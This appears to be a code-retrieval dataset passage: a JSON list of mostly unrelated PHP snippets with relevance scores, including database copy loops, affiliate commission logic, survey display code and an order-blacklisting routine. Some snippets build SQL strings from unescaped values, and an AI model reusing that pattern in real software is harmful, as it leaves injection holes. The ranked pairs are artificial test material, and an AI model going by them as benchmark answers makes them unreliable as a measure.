($tableArray as $array) {\r\n $array['capno'] = $newcap;\r\n $array['id'] = null;\r\n $table->insert($array);\r\n }\r\n }\r\n /**End of Model_BorrowerObExistLoan()**/\t\r\n \r\n /**Model_BorrowerObTrdBusRef()**/\r\n $table = new Model_BorrowerObTrdBusRef();\r\n $select = $table->select();\r\n $select->where('capno like ?', $capno);\r\n $tableRow = $table->fetchAll($select);\r\n $tableArray = $tableRow->toArray();\r\n if ($tableArray) {\r\n foreach ($tableArray as $array) {\r\n $array['capno'] = $newcap;\r\n $array['id'] = null;\r\n $table->insert($array);\r\n }\r\n }\r\n /**End of Model_BorrowerObTrdBusRef()**/\r\n \r\n /**Model_BorrowerOtherAuto()**/\r\n $table = new Model_BorrowerOtherAuto();\r\n $select = $table->select();\r\n $select->where('capno like ?', $capno);\r\n $tableRow = $table->fetchAll($select);\r\n $tableArray = $tableRow->toArray();\r\n if ($tableArray) {\r\n foreach ($tableArray as $array) {\r\n $array['capno'] = $newcap;\r\n $array['id'] = null;\r\n $table->insert($array);\r\n }\r\n }\r\n /**End of Model_BorrowerOtherAuto()**/\t\r\n \r\n /**Model_BorrowerOtherBusFinance()**/\r\n $table = new Model_BorrowerOtherBusFinance();\r\n $select = $table->select();\r\n $select->where('capno like ?', $capno);\r\n $tableRow = $table->fetchAll($select);\r\n $tableArray = $tableRow->toArray();\r\n if ($tableArray) {\r\n foreach ($tableArray as $array) {\r\n $array['capno'] = $newcap;\r\n $array['id'] = null;\r\n $table->insert($array);\r\n }\r\n }\r\n /**End of Model_BorrowerOtherBusFinance()**/\r\n \r\n /**Model_BorrowerOtherReal()**/\r\n $table = new Model_BorrowerOtherReal();\r\n $select = $table->select();\r\n $select->where('capno like ?', $capno);\r\n $tableRow = $table->fetchAll($select);\r\n $tableArray = $tableRow->toArray();\r\n if ($tableArray) {\r\n foreach ($tableArray as $array) {\r\n $array['capno'] = $newcap;\r\n $array['id'] = null;\r\n $table->insert($array);\r\n }\r\n }\r\n /**End of Model_BorrowerOtherReal()**/\t\r\n \r\n /**Model_BorrowerOtherShare()**/\r\n $table = new Model_BorrowerOtherShare();\r\n $select = $table->select();\r\n $select->where('capno like ?', $capno);\r\n $tableRow = $table->fetchAll($select);\r\n $tableArray = $tableRow->toArray();\r\n if ($tableArray) {\r\n foreach ($tableArray as $array) {\r\n $array['capno'] = $newcap;\r\n $array['id'] = null;\r\n $table->insert($array);\r\n }\r\n }\r\n /**End of Model_BorrowerOtherShare()**/\r\n\t\t\t\r\n \r\n }\r\n }", "title": "" }, { "docid": "3f194d73a8a68ff5d566f7069cf6fc0e", "score": "0.49864197", "text": "function relecture_autoriser() {}", "title": "" }, { "docid": "f707ca5d33976819611dc859e78443a9", "score": "0.49821514", "text": "public function setModeAffichage($modeAffichage) \n\t{\n\t\t$this->_modeAffichage = $modeAffichage;\n\t}", "title": "" }, { "docid": "16b13901ed08796c0b15b7b102c88380", "score": "0.49758202", "text": "function aeph_renovarMembresia(){\n\t\t\tglobal $current_user;\n\t\t\tget_currentuserinfo();\n\t\t\t\n\t\t\t$expiracion=get_the_author_meta( 'exp_date', $current_user->ID );\n\t\t\t$nuevaExpiracion = strtotime('+1 years', $expiracion);\n\t\t\t\n\t\t\taeph_set_member_role($current_user->id,'Miembro');\t\t\t\n\t\t\tupdate_user_meta( $current_user->id, \"exp_date\", $nuevaExpiracion);\n\t\t}", "title": "" }, { "docid": "cb1ae8d4e3a963a2ac7c7c22be702853", "score": "0.4969941", "text": "public function courir()\n {\n }", "title": "" }, { "docid": "43a728ab94a4199db6d37fd9335849d8", "score": "0.4963207", "text": "function rcp_award_commission( $payment_id, $payment_data, $amount ) {\n\n global $rcp_options;\n\n\t$user_info = maybe_unserialize( $payment_data['user_info'] );\n\n $user_link = '<a href=\"' . admin_url( 'admin.php?page=rcp-members&view_member=' . $payment_data['user_id'] ) . '\">' . __('View User', 'rcp') . '</a>';\n\n\t$data = array(\n 'order_id' => array(\n 'title' => __('Payment #', 'rcp'),\n 'domain' => 'rcp',\n 'value' => esc_sql( $payment_id )\n ),\n 'order_total' => array(\n 'title' => __('Total', 'rcp'),\n 'domain' => 'rcp',\n 'value' => esc_sql( $amount )\n ),\n 'referred_user' => array(\n \t'title' => __('Referred User', 'rcp'),\n \t'domain' => 'rcp',\n \t'value' => esc_sql( $user_link )\n )\n\t);\n\t\n $description = sprintf( __('Payment #%s', 'rcp'), $payment_id );\n\n if( class_exists( 'Affiliates_Referral_WordPress' ) ) {\n\n \t/*****************************************\n * Record referral for pro version\n *****************************************/\n $r = new Affiliates_Referral_WordPress();\n $r->evaluate( 0, $description, $data, $amount, null, $rcp_options['currency'], AFFILIATES_REFERRAL_STATUS_ACCEPTED, 'sale', $payment_id );\n\n } elseif( function_exists( 'affiliates_suggest_referral' ) ) {\n /*****************************************\n * Record referral for free version\n *****************************************/\n $referral_rate = get_option( 'aff_def_ref_calc_value' );\n $amount = round( floatval( $referral_rate ) * floatval( $amount ), AFFILIATES_REFERRAL_AMOUNT_DECIMALS );\n affiliates_suggest_referral( 0, $description, $data, $amount, $rcp_options['currency'] );\n }\n}", "title": "" }, { "docid": "ea3f6b689aeec12063d646b7e3fca37a", "score": "0.49480945", "text": "public function Pretitpre_Contabb() {\n $ctaegreso = '';\n $c = new Criteria();\n //Se quito por orden de Edgar y Vaneesa Escalona\n //$reg = ContabaPeer::doSelectone($c);\n //if ($reg){ $ctaegreso = $reg->getCodegd();\n //}else{ echo \"No se ha definido la Cuenta de Egrego\";}\n\n $this->c = new Criteria();\n $this->c->add(ContabbPeer::CARGAB, 'C');\n //$this->c->add(ContabbPeer::CODCTA,$ctaegreso.'%',Criteria::LIKE);\n $this->c->addAscendingOrderByColumn(ContabbPeer::CODCTA);\n\n $this->columnas = array(ContabbPeer::CODCTA => 'Cuenta', ContabbPeer::DESCTA => 'Descripción');\n }", "title": "" }, { "docid": "9df2123659a6ac84b688b1fe75bc1d09", "score": "0.49340004", "text": "function add_actualisation()\n\t{\n\t\treturn strval(ocf_make_multi_moderation(post_param('name'),post_param('post_text'),post_param_integer('move_to',NULL),post_param_integer('pin_state',0),post_param_integer('sink_state',0),post_param_integer('open_state',0),read_multi_code('forum_multi_code'),post_param('title_suffix')));\n\t}", "title": "" }, { "docid": "68f4b4a1fc3034cc6e8da5e71d8f61ea", "score": "0.493051", "text": "function cibler (&$joueurInactif) {\r\n //Affichage du plateau du joueur adverse\r\n\r\n //Scan à la recherche de boucliers\r\n $listeBouclier = [];\r\n foreach($joueurInactif['combat'] as $key => $carte) {\r\n if($carte['type'] == 'bouclier') {\r\n $listeBouclier[]= $key;\r\n }\r\n }\r\n\r\n //Si pas de bouclier, choix entre attaquer joueur ou créature adverse\r\n if($listeBouclier === []) {\r\n $choix = readline('Pour attaquer le joueur, faite le 1. Pour attaquer une de ses créatures, faites le 2. Sinon taper la reponse D(imaginer une voix sensuelle)');\r\n switch ($choix) {\r\n case 1 : $indexCible = 'joueur';\r\n break;\r\n case 2 :\r\n $indexCible = readline('Quelle carte souhaitez-vous attaquer?');\r\n }\r\n\r\n //Si présence de bouclier, propose d'attaquer le(s) bouclier(s)\r\n } else {\r\n $indexCible = readline('Saisissez le bouclier que vous souhaitez attaquer');\r\n }\r\n return $indexCible;\r\n }", "title": "" }, { "docid": "05e8152058fbbfe473f7da508d85876f", "score": "0.4929435", "text": "function biblio_rechercher_liste_des_champs($liste){\n\t$liste['tbl_bibliographie'] = array('titre'=>2,'auteurs'=>2,'citation'=>2,'autre_media'=>1,'abstract'=>1);\n\treturn $liste;\n}", "title": "" }, { "docid": "04e9f678d9c781f0a78e12c37ca75673", "score": "0.49258077", "text": "function ergebnis_anzeigen()\n\t{\n\t\t// 1. Umfrage-ID ermitteln\n\t\tif ($this->checked->umfrage_id > 0) $umfrage_id = $this->checked->umfrage_id;\n\t\telse $umfrage_id = $this->umfragen_aktiv_id();\n\n\t\t// 2. Statistische Werte ermitteln\n\t\t$umfrage = $this->umfragen_data($umfrage_id);\n\t\t$teilnehmer = $umfrage[0]['umf_count'];\n\n\t\t$antworten = $this->antworten_liste($umfrage_id);\n\t\t$antworten_infos = array();\n\t\t$stimmen_max = 0;\n\t\tif (!empty($antworten)) {\n\t\t\t// maximale Stimmen-Anzahl einer Antwort bestimmen\n\t\t\tforeach($antworten as $antwort) {\n\t\t\t\tif ($antwort['umfant_count'] > $stimmen_max) {\n\t\t\t\t\t$stimmen_max = $antwort['umfant_count'];\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tforeach($antworten as $antwort) {\n\t\t\t\t$temp_antwort = array();\n\t\t\t\t$temp_antwort['text'] = $antwort['umfantlan_text'];\n\t\t\t\t$temp_antwort['stimmen'] = $antwort['umfant_count'];\n\t\t\t\t//auf eine Kommastelle erweitert\n\t\t\t\t//$prozent = round(($antwort['umfant_count'] * 100/ $teilnehmer), 0);\n\t\t\t\tif ($teilnehmer) {\n\t\t\t\t\t$prozent = round(($antwort['umfant_count'] * 100/ $teilnehmer), 1);\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t$prozent = 0;\n\t\t\t\t}\n\t\t\t\t$temp_antwort['prozent'] = $prozent;\n\n\t\t\t\tif ($stimmen_max) {\n\t\t\t\t\t$breite = round(($antwort['umfant_count'] * 90/ $stimmen_max), 0) + 1;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t$breite = 0;\n\t\t\t\t}\n\t\t\t\t$temp_antwort['breite'] = $breite;\n\n\t\t\t\t$antworten_infos[] = $temp_antwort;\n\t\t\t}\n\t\t}\n\n\t\t// 3. Ergebniss an die Content-Variablen �bergeben\n\t\t$this->content->template['title'] = $this->content->template['UMFMSG_TITEL'].\" \".$umfrage[0]['umflan_text'];\n\t\t$this->content->template['umfrage_name'] = $umfrage[0]['umflan_text'];\n\t\t$this->content->template['umfrage_teilnehmer'] = $teilnehmer;\n\t\t$this->content->template['antworten_infos'] = $antworten_infos;\n\t\t$this->content->template['umfragen_infos'] = $this->umfragen_liste();\n\n\t\t$this->content->template['umf_datum_start'] = $umfrage[0]['umf_datum_start'];\n\t\t$this->content->template['umf_datum_letzter'] = $umfrage[0]['umf_datum_letzter'];\n\t}", "title": "" }, { "docid": "c7769363a2bb33a129f785598dcc208f", "score": "0.49210963", "text": "public function testCredit(): void\n {\n $expected = $actual = 42;\n\n self::assertSame($this->article, $this->article->setCredit($actual));\n self::assertSame($expected, $this->article->getCredit());\n }", "title": "" }, { "docid": "7c75c542e36423d559cda6f35d072afb", "score": "0.49109384", "text": "function each_charity_amount($campaign_id,$charity_percentage) \n {\n $amount = $this->total_donation_amount($campaign_id); \n $each_charity_amount = ($amount * $charity_percentage/100) - ($amount * $charity_percentage/100) * 0.05; \n return $each_charity_amount; \n }", "title": "" }, { "docid": "c736a805f172cf97dca91c58f7cb9e7e", "score": "0.49108133", "text": "public function getDiscountableDescription();", "title": "" }, { "docid": "c8e6f27479a0e1206ad76592f0fd4715", "score": "0.49049962", "text": "function allegiance() {\n\t\n\t\t// Set it up\n\t\t$separator\t= '';\n\t\t$faction\t= $this->faction;\n\t\t$race \t\t= $this->race;\n\t\t$class \t\t= $this->class;\n\t\n\t\t// Make sure we have info to use\n\t\tif ( '' == $race && '' == $class && '' == $faction )\n\t\t\treturn false;\n\t\n\t\t// Otherwise, display what we have\t\t\n\t\tif ( '' == $race ) $race = $faction;\n\t\tif ( $race != '' ) $separator = ' ';\n\t\t$allegiance = '<p class=\"user-allegiance ' . $faction . '\">' . ucfirst( $race ) . $separator . ucfirst( $class ) . '</p>';\n\t\treturn $allegiance;\n\t}", "title": "" }, { "docid": "c2deacb5ca9427766b9cdaaacbc489dc", "score": "0.49027112", "text": "function AfficherNomAgeQuatre($nom = \"Nom par défaut\", $anneNaissance = 20){ // ()obligatory but can be empty\n\t\t\t// $nom = ... is the default value if no argument afficherNomAge\n\t\t\t\n\t\t\tif (($nom == \"\") || ($anneNaissance == 0)){\n\t\t\t\treturn \"ERREUR DE PARAMETRES\";\n\t\t\t}\n\t\t\t\n\t\t\t$age = calculAgeQuatre($anneNaissance);\n\t\t\t$retour = $nom . \" a \" . $age . \" ans \";\n\t\t\t\n\t\t\tif($age < 18) {\n\t\t\t\t$retour .= \" (mineur).\";\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$retour .= \" (majeur).\";\n\t\t\t}\n\t\t\t\n\t\t\treturn $retour;\n\t\t}", "title": "" }, { "docid": "2d695ec0bfccaa111073c3266c90f63e", "score": "0.49020618", "text": "public function discount();", "title": "" }, { "docid": "5ef2119556a906a9aa4a9ef9bf95c2a5", "score": "0.49017924", "text": "public function testFundOwnership()\n {\n }", "title": "" }, { "docid": "98c05a70f3bb6b1af7514b8ee6c26305", "score": "0.48987854", "text": "public function retrieve_student_award()\n {\n //probably wants to be overwritten on the \n return true;\n }", "title": "" }, { "docid": "1a4744c3ec864751a93cd635dbb7835f", "score": "0.48951188", "text": "function autoriser_acteur_voir_dist($faire, $type, $id, $qui, $opt) {\n\treturn true;\n}", "title": "" }, { "docid": "624528383b5fe7a1d75c101d486616d0", "score": "0.48913333", "text": "public function affiliationAction()\n\t{\n\t\t\n\t\t$em = $this->getDoctrine()->getEntityManager();\n\t\t//Récupère le nom de la personne qui accède à l'administration\n\t\t$user = $this->container->get('security.context')->getToken()->getUser();\n\t\t//on vérifie le role\n\t\t$validRole = new ControleDataSecureController();\n\t\t$role = $validRole->getValidRoles($user);\n\t\t//Récupére la liste des affiliations pour les afficher.\n\t\t$affiliation = $em->getRepository('MyAppGlobalBundle:Affiliations')->getListAffiliation();\n\t\t//Préparation de la view dashboard_affiliation_html.twig\n\t\treturn $this->render('MyAppAdminBundle:Hebergement:dashboard_affiliation.html.twig',\n\t\t\t\tarray(\n\t\t\t\t\t\t'annee' \t\t\t\t\t\t=> date('Y'),\n\t\t\t\t\t\t'name_admin' \t\t\t\t\t=> $user->getUsername(),\n\t\t\t\t\t\t'pointeur'\t\t\t\t\t\t=> 'pointeur',\n\t\t\t\t\t\t'affiheb' \t\t\t\t\t\t=> \"menu_hebergement\",\n\t\t\t\t\t\t'affiliation'\t\t\t\t\t=> $affiliation,\n\t\t\t\t\t\t'role'\t\t\t\t\t\t\t=> $role,\n\t\t\t\t));\n\t}", "title": "" }, { "docid": "ff95c0487648bab62e706b7e70686f49", "score": "0.4886421", "text": "public function adwordsCost() {\n\t\treturn $this->get(Constants::AC);\n\t}", "title": "" }, { "docid": "1736924dbdf5be5b6d7df6b57a349e35", "score": "0.48857328", "text": "public function education_overview() {\n\t\techo '<div class=\"wrap\">' .\n\t\t\t'<div id=\"icon-education\" class=\"icon32-pa\"></div><h2>Übersicht: Bildungsbereich</h2>';\n\t\t$feech = new VCA_ASM_Admin_Future_Feech( array(\n\t\t\t'title' => 'Übersicht: Bildungsbereich',\n\t\t\t'version' => '1.6 (?)',\n\t\t\t'explanation' => 'Statistiken etc.'\n\t\t));\n\t\t$feech->output();\n\t\techo '</div>';\n\t}", "title": "" }, { "docid": "97f037e3472554c95939f8df4983b252", "score": "0.4884476", "text": "function getCondiments()\r\n{\r\n return array(\"hard\", \"easy\", \"medium\");\r\n}", "title": "" }, { "docid": "2c6bcd1918cceace3d58675cc6a61815", "score": "0.488333", "text": "public function holyVerdict();", "title": "" }, { "docid": "379ee52e7fcf39f88b0cbc22674a42c0", "score": "0.4880635", "text": "function fabrique_autorisation_defaut($autorisation) {\n\tswitch ($autorisation) {\n\t\tcase 'objets_voir':\n\t\tcase 'objet_voir':\n\t\t\treturn 'toujours';\n\t\t\tbreak;\n\n\t\tcase 'objet_creer':\n\t\tcase 'objet_modifier':\n\t\t\treturn 'redacteur';\n\t\t\tbreak;\n\n\t\tcase 'objet_supprimer':\n\t\tcase 'associerobjet':\n\t\t\treturn 'administrateur';\n\t\t\tbreak;\n\t}\n}", "title": "" }, { "docid": "6cef217d242a1f67d43c4c55cdcbd5fd", "score": "0.48801377", "text": "public function organicCost() {\n\t\treturn $this->get(Constants::OC);\n\t}", "title": "" }, { "docid": "123864eb1ecfc8cf50b38b3b1a5e73ae", "score": "0.48796347", "text": "public function orges()\n {\n }", "title": "" }, { "docid": "7dfd4f508de2ca68f20d5b72854b892f", "score": "0.48753375", "text": "function affichage_participants($participants){\n\t\t$participants_table = explode('|', $participants);\n\t\t$length = count($participants_table);\n\t\t\n\t\tif($length == 0){ // Si aucun participants\n\t\t\treturn 'Aucun participants';\n\t\t}\n\t\t\n\t\t$requete_id = '';\n\t\tfor($i = 0; $i < $length; $i++){\n\t\t\tif($i == 0){\n\t\t\t\t$requete_id .= \"id = '{$participants_table[$i]}' \";\n\t\t\t}else{\n\t\t\t\t$requete_id .= \"OR id = '{$participants_table[$i]}' \";\n\t\t\t}\n\t\t}\n\t\t\n\t\t$requete = \"SELECT id, nom, prenom FROM identifiant WHERE {$requete_id} \";\n\t\t$donnee = connexion($requete);\n\t\t\n\t\t$r = '';\n\t\twhile($ligne = mysql_fetch_assoc($donnee)){\n\t\t\t$r .= \"<li>\n\t\t\t\t\t<a href='index.php?where=profil&amp;id={$ligne['id']}'>\n\t\t\t\t\t\t{$ligne['prenom']} {$ligne['nom']}\n\t\t\t\t\t</a>\n\t\t\t\t</li>\";\n\t\t}\n\t\t\n\t\treturn '<ul>'.$r.'</ul>';\n\t}", "title": "" }, { "docid": "470955e189be6b0403358f4f3d33fbc6", "score": "0.48739144", "text": "function benefits_info()\n {\n $benefits = array();\n $lang = ( pll_current_language() != 'uk' ) ? '-'.pll_current_language() : '';\n $benefits['slug'] = array('ecco','quality-control','free-delivery');\n $benefits['name'] = array('Ecco','Quality Control','Free Delivery');\n\t$benefits['num'] = count( $benefits['slug'] );\n\tfor( $i=0; $i<$benefits['num']; $i++ )\n $benefits['url'][] = add_query_arg( 'lang', false, site_url( $benefits['slug'][$i].$lang ));\n\t\n\treturn $benefits;\n }", "title": "" }, { "docid": "f0386125ac3a59da48c81801c22bd246", "score": "0.4871636", "text": "function identity($genre, $age) {\n // si le genre et un homme et que l'age est superieur ou egale a 18 alor\n if ($genre == 'homme' && $age >= 18) {\n // tu m'affiche le texte si dessous\n $reponse = 'Vous êtes un homme et vous êtes majeur';\n //sinon si tu es un homme et que tu n'a pas 18 ans alors\n } elseif ($genre == 'homme' && $age < 18) {\n // tu m'affiche le tete ci dessous\n $reponse = 'Vous êtes un homme et vous êtes mineur';\n //sinon si tu es une femme et que tu a 18ans ou plus alors\n } elseif ($genre == 'femme' && $age >= 18) {\n //tu affiche le texte ci dessous \n $reponse = 'Vous êtes une femme et vous êtes majeur';\n //sinon \n } else {\n // tu affiche le texte ci dessous\n $reponse = 'Vous êtes une femme et vous êtes mineur';\n }\n // return l'integraliter de la fonction\n return $reponse;\n }", "title": "" }, { "docid": "51ddaa4a55fb43bb676f89f1d2178e93", "score": "0.48658016", "text": "function f_description_courte() {\n\t\t$description_courte = $this->tools_guide->f_get_value('description_courte','exportleguide');\n\n\t\tif ($description_courte != \"\") {\n\t\t\t$checked = \"checked\";\n\t\t} else {\n\t\t\t$checked = \"\";\n\t\t}\n\n\t \techo \"\n\t\t<tr>\n\t\t\t<td align=\\\"right\\\">Descriptions courtes (non coché=longues)</td>\n\t\t\t<td style=\\\"padding-left:15px;\\\"><INPUT TYPE=CHECKBOX NAME=\\\"description_courte\\\" $checked> Actif</td>\n\t\t\t<td></td>\n\t\t</tr>\";\n\t}", "title": "" }, { "docid": "f6f3e81c8f143ac6c9847e66dfe2c285", "score": "0.48651427", "text": "public function paidPersonalCollages(): int {\n return $this->info()['collages'];\n }", "title": "" }, { "docid": "0bf676962dee643b46c7c4f14a836da4", "score": "0.48571995", "text": "public function getReferenceCompleteAttribute()\n {\n return \"{$this->typeArticle->libelle} - {$this->marqueArticle->nom} - {$this->id} - {$this->reference}\";\n }", "title": "" }, { "docid": "460fe815f113295ab64c495e758e982b", "score": "0.48516247", "text": "public function get_licence()\n {\n return 'Licensed on the same terms as Composr';\n }", "title": "" }, { "docid": "460fe815f113295ab64c495e758e982b", "score": "0.48516247", "text": "public function get_licence()\n {\n return 'Licensed on the same terms as Composr';\n }", "title": "" }, { "docid": "460fe815f113295ab64c495e758e982b", "score": "0.48516247", "text": "public function get_licence()\n {\n return 'Licensed on the same terms as Composr';\n }", "title": "" }, { "docid": "57261882e71319c16e0bae3e49d26344", "score": "0.48497245", "text": "function bbp_current_author_ua()\n{\n}", "title": "" }, { "docid": "dbbc8215e4052e9e6e7dbb8e1f6f2671", "score": "0.4848404", "text": "public function getDiscountDescription();", "title": "" }, { "docid": "ef21430c0204ca0c11d25301ff29bafa", "score": "0.4843937", "text": "function referentiel_print_aucun_repartition_competence($code_item){\r\n\t$s=\"\";\r\n\tif ($code_item){\r\n\t\t$info=$code_item;\r\n\t}\r\n\telse{\r\n\t\t$info=\"&nbsp;\";\r\n\t}\r\n\t\r\n\t$s.='<tr><td class=\"zero\">&nbsp;</td><td class=\"zero\">';\r\n\t$s.=$info;\r\n\t$s.='</td><td class=\"invalide\" colspan=\"2\">';\r\n $s.='<span class=\"small\">'.get_string('notmatched','referentiel').'</span>';\r\n\t$s.='</td><td class=\"zero\">&nbsp;</td></tr>'.\"\\n\";\r\n\t\r\n\treturn $s;\r\n}", "title": "" }, { "docid": "0505ea255026ef99d2d8698e6f10e2bc", "score": "0.48429838", "text": "public function getCredits() {\n return 0;\n }", "title": "" }, { "docid": "c06552043082fa26fd7fee680fdaee3b", "score": "0.4840108", "text": "private function chargeLesAdherents()\r\n\t\t{\r\n\t\t$resultat=$this->maBD->chargement('adherent');\r\n\t\t$nb=0;\r\n\t\twhile ($nb<sizeof($resultat))\r\n\t\t\t{\r\n\t\t\t$this->tousLesAdherents->ajouteUnAdherent($resultat[$nb][0],$resultat[$nb][1],$resultat[$nb][2],$resultat[$nb][3],$resultat[$nb][4],$resultat[$nb][5]);\r\n\t\t\t$nb++;\r\n\t\t\t}\r\n\r\n\t\t}", "title": "" }, { "docid": "c700fd6b45ec09a912163858976ce753", "score": "0.48362815", "text": "function formulaires_creneaux_verifier_1_dist()\n{\n\n $erreurs = array();\n\n if (!_request('nom') ) {\n $erreurs['nom'] = 'Merci de préciser votre nom';\n }\n if (!_request('prenom') ) {\n $erreurs['prenom'] = 'Merci de préciser votre prénom';\n }\n if ( _request('type_creneau')==0 ) {\n $erreurs['type_creneau'] = 'Merci de choisir un type de créneau';\n }\n\n return $erreurs;\n}", "title": "" }, { "docid": "0fcdabe6435fe2fa30b3dc783fb6c338", "score": "0.48335674", "text": "public function getCreditTitle() { return $this->creditTitle; }", "title": "" }, { "docid": "af6cd690d698cc09cf2a04229ff1f093", "score": "0.48298943", "text": "function getCharityCommission(){\n\t\t$charities_commission = 0;\n\t\t$re = $this->db->query(\"select commission_charities.commission,order_detais.itemprice,order_detais.quality from commission_charities join order_detais on order_detais.id = commission_charities.odetail where commission_charities.rid = 8 and commission_charities.orderid = \".$this->oid);\n\t\tforeach($re->result_array() as $row){\n\t\t\t$price = $row['itemprice'] * $row['quality'];\n\t\t\t$charities_commission += $row['commission'] * $price / 100; \n\t\t}\n\t\treturn $charities_commission; \n\t}", "title": "" }, { "docid": "5195d7076971a106b3bb1126045a39ea", "score": "0.4829623", "text": "public function care(){\n $this->life += 10;\n }", "title": "" }, { "docid": "23cd77d84981270801299d609049f667", "score": "0.48228937", "text": "private function ajouterAffichage()\n {\n // On recupère les listes de tous les vips\n $this->_vipManager = new VipManager();\n $vips = $this->_vipManager->getAllVipsEligible();\n\n // On recupère la liste de tous les hebergements\n $this->_hebergementManager = new HebergementManager();\n $hebergements = $this->_hebergementManager->getHebergements();\n\n // On recupère l'id maximum pour l'autoIncrement\n $this->_reservationManager = new ReservationManager();\n $maxId = $this->_reservationManager->recupereMaxId();\n\n // On crée et on affiche la vue en passant en parametre les variables dont on a besoin pour l'affichage\n $this->_view = new vue('ReservationAjout');\n $this->_view->generate(array('hebergements' => $hebergements, \n 'vips' => $vips,\n 'maxId' => $maxId\n ));\n }", "title": "" }, { "docid": "d3e0cee0530147bf7800344079261228", "score": "0.48201895", "text": "function PromoCodeAffiliate()\n\t\t{\n\t\t\tglobal $_CONF;\n\t\t\t$_REQUEST['mode'] \t\t= \"PromoCodeAffiliate\";\n\t\t\t$promo_code\t= $_REQUEST['p_code'];\n\t\t\t//$this->oModel->PromoCodeAffiliate($_REQUEST['identity'],$promo_code);\n\t\t\t$OEmailList = $this->oModel->PromoCodeAffiliate($_REQUEST['identity'],$promo_code);\n\t\t\t\n\t\t\tfor($i = 0; $i < count($OEmailList); $i++)\n\t\t\t{\n\t\t\t\t$subject = \"Promo code \".$promo_code.\" has been applied to your affiliate.\";\n\t\t\t\t$body =\t\"Dear \".$OEmailList[$i]['first_name'].\" \".$OEmailList[$i]['last_name'].\", promo code \".$promo_code.\" has been applied to your affiliate.\";\n\t\t\t\t$email = $OEmailList[$i]['email'];\n\t\t\t\tSendMail(stripslashes(html_entity_decode($body)), $subject, array($email), $_CONF['adminEmail']);\n\t\t\t}\n\t\t\t\n\t\t\t$err=\"Promo Code has been updated Successfully.\";\n\t\t\t//$this->ListAffiliates($OEmailList[0][\"email\"]);\n\t\t\t$this->ListAffiliates($err);\n\t\t\tdie();\t\t\t\n\t\t}", "title": "" }, { "docid": "18540c2beb18cf1a729ea9040a61a7a5", "score": "0.4818814", "text": "function updateMoyenneAdmissionConcours($requete,$param){\n\n\t\ttry{\n\t\t\t$count = CUD($requete,$param);\n\t\t\treturn $count;\n\n\t\t}catch(Exception $e){\n\n\t\t\tdie(\"Erreur : \" . $e->getMessage());\n\t\t}\n\t\t\n\t}", "title": "" }, { "docid": "872473eed9d3e148728a6939276ddcda", "score": "0.48126906", "text": "public function getCodeAffaire(): ?string {\n return $this->codeAffaire;\n }", "title": "" }, { "docid": "872473eed9d3e148728a6939276ddcda", "score": "0.48126906", "text": "public function getCodeAffaire(): ?string {\n return $this->codeAffaire;\n }", "title": "" }, { "docid": "872473eed9d3e148728a6939276ddcda", "score": "0.48126906", "text": "public function getCodeAffaire(): ?string {\n return $this->codeAffaire;\n }", "title": "" }, { "docid": "872473eed9d3e148728a6939276ddcda", "score": "0.48126906", "text": "public function getCodeAffaire(): ?string {\n return $this->codeAffaire;\n }", "title": "" } ]
6b6b4291278facc05ea5b3c8bb28354c
mark order as fake as block the sender IP for certain time, refund Paypal
[ { "docid": "58fd85545aafa6b8e71e5809b2ba2b58", "score": "0.61182356", "text": "public function fakeAction() {\n \n if ( in_array($this->order->getState(), array(Yourdelivery_Model_Order_Abstract::FAKE_STORNO) )){ \n echo __b('Bestellung wurde bereits als Fake markiert');\n return $this->getResponse()->setHttpResponseCode(406);\n }\n \n try {\n // block the sender IP\n if (!is_null($this->order->getIpAddr())) {\n $blacklist = new Yourdelivery_Model_Support_Blacklist();\n $blacklist->setAdminId($this->session_admin->admin->getId());\n $blacklist->setComment(__b(\"Bestellung geblacklisted\"));\n $blacklist->setOrderId($this->order->getId());\n $blacklist->addValue(Yourdelivery_Model_Support_Blacklist::TYPE_KEYWORD_IP, $this->order->getIpAddr());\n // block the uuid (if available)\n if (!is_null($this->order->getUuid())) {\n $blacklist->addValue(Yourdelivery_Model_Support_Blacklist::TYPE_KEYWORD_UUID, $this->order->getUuid());\n }\n $blacklist->save();\n }\n\n //add Order to Paypal Blacklist if paypal\n if ($this->order->getPayment() == \"paypal\") {\n $pp_transaction = new Yourdelivery_Model_DbTable_Paypal_Transactions();\n $response = $pp_transaction->getUserData($this->order->getId());\n\n if (strlen($response['EMAIL']) > 0 && strlen($response['PAYERID']) > 0) {\n $blacklist = new Yourdelivery_Model_Support_Blacklist();\n $blacklist->setAdminId($this->session_admin->admin->getId());\n $blacklist->setOrderId($this->order->getId());\n $blacklist->setComment(__b(\"Bestellung geblacklisted\"));\n $blacklist->addValue(Yourdelivery_Model_Support_Blacklist::TYPE_PAYPAL_EMAIL, $response['EMAIL'], Yourdelivery_Model_Support_Blacklist::MATCHING_EXACT, Yourdelivery_Model_Support_Blacklist::BEHAVIOUR_BLACKLIST);\n $blacklist->addValue(Yourdelivery_Model_Support_Blacklist::TYPE_PAYPAL_PAYERID, $response['PAYERID'], Yourdelivery_Model_Support_Blacklist::MATCHING_EXACT, Yourdelivery_Model_Support_Blacklist::BEHAVIOUR_BLACKLIST);\n $blacklist->save();\n }\n }\n sleep(1);\n //set Status to Fake Storno\n $this->order\n ->setStatus(\n Yourdelivery_Model_Order_Abstract::FAKE_STORNO, new Yourdelivery_Model_Order_StatusMessage(Yourdelivery_Model_Order_StatusMessage::ORDER_BLACKLIST, \"\", $this->session_admin->admin->getName())\n , true\n );\n\n echo __b(\"Bestellung erfolgreich storniert und als fake markiert. IP Adresse wird bis 3 Nachts blockiert sein\");\n $this->logger->adminInfo(sprintf('Successfully marked order %d as fake', $this->id));\n $this->_trackUserMove(Yourdelivery_Model_Admin_Access_Tracking::ORDER_FAKE, Yourdelivery_Model_Admin_Access_Tracking::MODEL_TYPE_ORDER, $this->order->getId());\n } catch (Yourdelivery_Exception_Database_Inconsistency $e) {\n $this->getResponse()->setHttpResponseCode(406);\n $this->logger->adminErr(sprintf(\"Could not mark order %d as fake\", $this->id));\n echo __b(\"Konnte die Bestellung \") . $this->id . __b(\" nicht finden\");\n }\n }", "title": "" } ]
